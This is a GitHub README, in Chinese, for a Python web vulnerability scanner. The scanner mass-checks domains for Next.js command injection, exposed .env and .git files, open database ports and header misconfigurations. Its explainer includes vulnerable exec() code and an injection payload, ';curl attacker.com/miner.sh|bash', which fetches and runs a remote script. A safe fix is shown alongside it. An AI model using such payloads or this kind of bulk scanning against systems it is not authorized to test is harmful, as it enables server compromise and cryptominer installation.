AbdulAhadQSol/WebVulnScanner
GitHub: AbdulAhadQSol/WebVulnScanner
轻量级Web漏洞扫描器,支持大规模资产批量检测Shell注入、敏感文件暴露、开放端口等问题,具备断点续扫和智能误报过滤能力。
Stars: 1 | Forks: 0
# 🔍 WebVulnScanner




## 🧠 这是什么?
在测试我基于 Next.js 和 Docker 构建的 **vibecoded 项目** 时,我在大多数 **React2Shell** 网站中发现了一个关键漏洞。它允许未经无害化处理的用户输入直接传递给 Node.js shell 命令,从而导致远程代码执行。
我需要一个能够满足以下条件的工具:
- 在低端配置下扫描域名而不崩溃
- 检测 React2Shell 和其他真实世界的漏洞
- 中断后自动恢复
- 对停放页面永不产生误报
所以我构建了一个。
## ⚡ 功能特性
- 🐚 **React2Shell / Shell 注入** — 向常见的 Next.js API 路由发送金丝雀 payload 并检测真实执行情况
- 🔐 **SSL/TLS 分析** — 证书过期、即将过期、验证失败
- 🚪 **危险开放端口** — MySQL, PostgreSQL, Redis, MongoDB, FTP, Telnet, 开发服务器
- 📄 **敏感文件暴露** — `.env`, `.git/config`, `docker-compose.yml`, `package.json`,具备 *内容验证* — 不仅仅是 HTTP 200
- 🌐 **CORS 错误配置** — 通配符 `Access-Control-Allow-Origin: *`
- 🛡️ **安全头审计** — HSTS, CSP, X-Frame-Options, Referrer-Policy 等
- 🅿️ **零误报** — 针对停放/通配符服务器,内置金丝雀路径检测
- ♻️ **自动去重** — 相同 URL 永不重复扫描
- 💾 **自动恢复** — 每扫描 1,000 个 URL 保存一次进度,从中断处精确继续
## 🚀 安装说明
```
git clone https://github.com/YOUR_USERNAME/WebVulnScanner.git
cd WebVulnScanner
pip install requests
```
## 📖 使用方法
**基本扫描:**
```
python3 vuln_scanner.py "/path/to/domains.txt"
```
**推荐用于大型列表:**
```
python3 vuln_scanner.py "/path/to/domains.txt" --threads 35 --timeout 3 --skip-timing
```
**Ctrl+C 后恢复 — 只需运行相同的命令:**
```
python3 vuln_scanner.py "/path/to/domains.txt" --threads 35 --timeout 3 --skip-timing
```
**清除之前的结果并重新开始:**
```
python3 vuln_scanner.py "/path/to/domains.txt" --fresh --threads 35 --timeout 3 --skip-timing
```
## 🔧 参数说明
| 参数 | 默认值 | 描述 |
|---|---|---|
| `input` | *必需* | 文本文件路径 — 每行一个 URL 或域名 |
| `--output` | `vulnerable_sites.txt` | 输出文件名前缀 |
| `--threads` | `6` | 并行工作线程数 |
| `--timeout` | `10` | 单个请求的超时时间(秒) |
| `--resume` | 关 | 显式从保存的进度恢复 |
| `--fresh` | 关 | 删除所有以前的结果并从第 1 行开始 |
| `--skip-timing` | 关 | 跳过缓慢的基于时间的 shell 检查 |
## 📁 输出文件
| 文件 | 内容 |
|---|---|
| `vulnerable_sites.txt` | ⚠️ 易受攻击 URL 的干净列表 — 每行一个 |
| `vulnerable_sites_details.txt` | 📋 每个网站发现问题的完整细分 |
| `vulnerable_sites_warnings.txt` | 🟡 有警告但无关键漏洞的网站 |
| `vulnerable_sites_scan.log` | 🗂️ 每个扫描网站的完整时间戳日志 |
**`_details.txt` 中的输出示例:**
```
============================================================
URL: https://example-client.com
SCANNED: 2026-03-03 15:55:11
[HIGH] Shell injection (React2Shell) at /api/convert?file=
[HIGH] Port 3306 open — MySQL exposed to internet
[HIGH] Port 6379 open — Redis exposed (often no auth)
[HIGH] Exposed /.env — DATABASE_URL=postgres://admin:s3cr3t@...
[WARN] SSL cert expires in 12 days
[WARN] Missing security headers: Strict-Transport-Security, CSP
[INFO] Server: nginx/1.24.0
[INFO] X-Powered-By: Express
============================================================
```
## 🧩 工作原理
```
Input file (streaming, line by line)
│
▼
URL Normalizer + Deduplicator
│
▼
Work Queue (bounded — 400 items max)
│
┌────┴────┐
│ Workers │ × N threads
└────┬────┘
│ Each worker runs:
│ 1. Reachability check
│ 2. SSL certificate check
│ 3. Security headers + CORS check
│ 4. Open port scan
│ 5. Sensitive file check (wildcard detection + content validation)
│ 6. Shell injection — React2Shell canary
▼
Result Queue (bounded)
│
▼
Writer Thread — appends to disk instantly, never buffers
```
## 🛡️ 误报预防
**问题:** 停放/通配符服务器对 *每个* 路径都返回 HTTP 200 — 包括 `/.env`、`/.git/config` 等 — 这导致简单的扫描器标记数千个误报。
**解决方案 — 三层验证:**
**1. 金丝雀路径检测**
在检查任何敏感路径之前,向一个随机 14 字符的路径(该路径 *不应该* 存在)发送请求。如果服务器为此返回 200 HTML,则它是通配符服务器 — 完全跳过文件检查。
**2. 内容指纹识别**
| 文件 | 必须实际包含 |
|---|---|
| `/.env` | 带大写键的 `KEY=VALUE` 模式 |
| `/.git/config` | `[core]` 或 `[remote` 部分 |
| `/.git/HEAD` | `ref:` 前缀或 40 字符十六进制提交哈希 |
| `/docker-compose.yml` | `services:` 关键字 |
| `/package.json` | 同时包含 `"name"` 和 `"version"` 键 |
| `/api/config` | 有效 JSON 对象 `{...}`,而非 HTML |
**3. 动态金丝雀字符串**
Shell 注入金丝雀在 *运行时随机生成* — 永远不会出现两次相同的字符串 — 因此服务器管理员无法将其硬编码到响应中以逃避检测。
## 🐚 什么是 React2Shell?
React2Shell 是 Next.js/Node.js 应用程序中的一类关键漏洞,其中用户输入在未经无害化处理的情况下到达 `child_process.exec()`:
**❌ 易受攻击的代码:**
```
import { exec } from 'child_process';
export default function handler(req, res) {
const { file } = req.query;
// Attacker sends: ?file=;curl+evil.com/miner.sh|bash
exec(`convert ${file} output.png`, (err, stdout) => {
res.json({ result: stdout });
});
}
```
攻击者发送 `?file=;curl+attacker.com/miner.sh|bash` 并在你的服务器上获得 **完全的远程代码执行**。这就是加密货币矿工、后门和数据渗出 payload 被安装在配置错误的 Docker 容器上的方式。
**✅ 安全版本:**
```
import { execFile } from 'child_process';
export default function handler(req, res) {
const { file } = req.query;
// Args passed as array — no shell interpolation possible
execFile('convert', [file, 'output.png'], (err, stdout) => {
res.json({ result: stdout });
});
}
```
## 💡 为什么它不会崩溃
大多数扫描器在处理大量输入时会崩溃,因为它们将所有内容加载到 RAM 中。而这个不会:
- **流式 I/O** — 一次读取一个 URL,文件从不加载到内存中
- **有界队列** — 工作队列上限为 400 项,自然背压防止内存失控
- **即时磁盘写入** — 专用写入器线程,设置 `buffering=1`,内存中不保留任何内容
- **进度检查点** — 每 1,000 个 URL 保存一次行位置,中断时精确恢复
- **显式 GC** — 每次站点扫描后调用 `gc.collect()`
- **带刷新的去重** — 已见 URL 集合上限为 200 万条目,随后刷新
## 🤝 参与贡献
欢迎提交 Pull Request。可改进的领域:
- Shell 注入探测的 WAF 绕过技术
- 额外的 Next.js 特定检查 *(中间件配置错误、通过 `next.config.js` 重写的 SSRF)*
- 速率限制 / 礼貌延迟选项
- JSON 和 CSV 输出格式
- 发现关键结果时的 Webhook 通知
## ⚖️ 法律免责声明
标签:API密钥检测, CISA项目, CORS跨域, Next.js安全, Node.js安全, Python安全工具, React2Shell, Shell注入, SSL/TLS分析, Web漏洞扫描器, 图计算, 字符串匹配, 安全头审计, 插件系统, 敏感文件泄露, 数据统计, 文件查看, 断点续扫, 端口扫描, 编程工具, 网络安全, 足迹分析, 输入验证, 远程代码执行, 逆向工具, 配置错误检测, 防御框架, 隐私保护